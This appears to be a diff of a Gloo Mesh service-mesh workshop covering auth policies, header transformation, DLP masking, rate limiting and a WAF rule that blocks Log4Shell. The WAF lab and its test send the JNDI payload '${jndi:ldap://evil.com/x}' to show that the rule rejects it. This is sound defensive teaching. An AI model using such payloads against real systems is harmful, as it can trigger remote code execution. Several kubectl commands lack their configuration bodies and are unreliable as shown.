the policy written in rego: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Authentication is working properly", function () { + + const cookieString_user1 = process.env.USER1_TOKEN; + const cookieString_user2 = process.env.USER2_TOKEN; + + it("The httpbin page isn't accessible with user1", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user1 }], retCode: "keycloak-session=dummy" == cookieString_user1 ? 302 : 403 })); + it("The httpbin page is accessible with user2", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user2 }], retCode: 200 })); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-extauth-oauth/tests/authorization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> +If you open the browser in incognito and login using the username `user2` and the password `password`, you will now be able to access it since the user's email ends with `@solo.io`. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `extauth` Pod to authorize the request): + +![Gloo Mesh Gateway Extauth](images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg) + + + + +## Lab 14 - Use the transformation filter to manipulate headers + + +In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one: + +Let's create a `TransformationPolicy` to extract the claim. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Tranformation is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The new header has been added', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: '"X-Organization": "solo.io"' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-transformation/tests/header-added.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 15 - Use the DLP policy to mask sensitive data +[VIDEO LINK](https://youtu.be/Uark0F4g47s "Video Link") + + +Now that we learnt how to put user information from the JWT to HTTP headers visible to the applications, those same applications could return sensitive or protected user information in the responses. + +In this step, we're going to use a Data Loss Prevention (DLP) Policy to mask data in response bodies and headers. + +Let's create a `DLPPolicy` to mask protected user information. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("DLP Policy", function () { + const cookieString = process.env.USER2_TOKEN; + + it('Email is masked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: 'XXXXXXXXXX.io' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-dlp/tests/email-masked.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 16 - Apply rate limiting to the Gateway + + +In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the `solo.io` organization. + +First, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Rate limiting is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The httpbin page should be rate limited', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], retCode: 429 })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-ratelimiting/tests/rate-limited.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get a `200` response code the first 3 time and a `429` response code after. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `rate limiter` Pod to determine if the request should be allowed): + +![Gloo Mesh Gateway Rate Limiting](images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg) + +Let's apply the original `RouteTable` yaml: +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/9q2TxtBDqrA "Video Link") + +A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them. + +Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections. + +An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability ([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)), which for many enterprises was a major ordeal that took weeks and months of updating all services. + +The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit. + +Using the Web Application Firewall capabilities you can reject requests containing such headers. + +Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: `${jndi:ldap://evil.com/x}`. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code. + +Create the WAF policy: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +const helpersHttp = require('./tests/chai-http'); +var chai = require('chai'); +var expect = chai.expect; + +describe("WAF is working properly", function() { + it('The request has been blocked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{key: 'x-my-header', value: '${jndi:ldap://evil.com/x}'}], body: 'Log4Shell malicious payload' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-waf/tests/waf.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following command to simulate an attack: + +```bash +curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k "https://cluster1-httpbin.example.com/get" -i +``` + +The request should be rejected: + +```,nocopy +HTTP/2 403 +content-length: 27 +content-type: text/plain +date: Tue, 05 Apr 2022 10:20:06 GMT +server: istio-envoy + +Log4Shell malicious payload +``` + +Let's apply the original `RouteTable` yaml: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1x1MDAxOFx1MDAwZkIyL/h3yLzwp25z7SzzQrDgxuBmWYEuV+g4XHUwMDEyjixjKt60kFx1MDAxNkNaXCJNqTYtiFx1MDAxN8SbsDD9nMRcdTAwMGLTL5ArIHjYf+nT12hZ4lx1MDAwNVZUwOcl+1x1MDAxMW7zmt1IXHUwMDEzQk1cdTAwMTNSRVx1MDAxNZc+sm1LqVx1MDAxN+Go5CA49UL5T+pflnvhT9vm2jD3XCJQtElcdTAwMWVcXI3LeI3QSi1Sw83FmIo2U5Xc4tpcdTAwMDA3iThCjp6xMy8uJaD8OTO7Qlx1MDAxOFx0aTmysXAz9KxhJpoxQrj0M6hMtV9cZsyqgDVcdTAwMDTxtmzDWCityS5cdTAwMWKvbyrd5l9rXHUwMDAz6Vx1MDAxNlmQXHUwMDAwSJphWS6IsUJcdTAwMTCmXHUwMDBlvvojSLhrhzHyoqRI0i3c7bswKVPeXHUwMDEwc1x1MDAwMkSDgeSkT2qZOekkQnKqXHUwMDAw5Vx1MDAxOcv0S4u3RCB5m8tD2Ctcbrhw77hcblx1MDAxMXJqVlx1MDAxOYCt4Fx1MDAxObq6zTVcdTAwMWZOK1x1MDAwZlx1MDAwZqXpYHTXOuq/tFW8veNSXHRcdTAwMGJcZpePy1x1MDAxZGhL0TbTXHJcdTAwMDJbxq3lKpdcdTAwMWNcdTAwMTA98Ek8z9Rt3u/gh0zhvXp2dft+UVx1MDAxYtdPOlx1MDAwMVx1MDAxMeZxiL5LXHUwMDE274/xNbtcdTAwMTh3y9f4Lj/Ul2fvXHUwMDEx20GFjlt5K6fkSeeomW3QjDqbZJvHyYCqhiuNu/XlXeYr939gxNk2n1kq94iyr93rcXfIa5la8vY52ip46HTXvnIw5YIkoqJYaq1W6NFcdTAwMTK+TTF1lUuNw0RcInHnXHUwMDFlXHUwMDA0i8TFk8FcdTAwMWT5zZkxu5VE3yrZXHUwMDAwXkqjYd25uJv7zUPavy1T7YtO8z/zW1x1MDAxZpmw4LRcdTAwMWZcbtaX4HiF4NpBul6d3sinWvaFXHUwMDE16cXwJV0v5uJcdTAwMGVMpEXV/HJ7zVx1MDAxOWOxXHUwMDA1JsC3gFx1MDAxYzVn8Uw3aHXK90P2fHv+8k6OXHUwMDA2MtW9fk5cdTAwMDRAiFx1MDAxZmSy+rg7Wt6tXHUwMDBmu1xm8Pg/cJ/ARIXkQVxu46UkOnpcdTAwMThh+HrGXHUwMDE2mZAwmShIvJBcdDFlYoRk5FtBkz485qDVaDdcXGDjXHUwMDEzzvWXKHmf0ML5PDfAKSFFmFx1M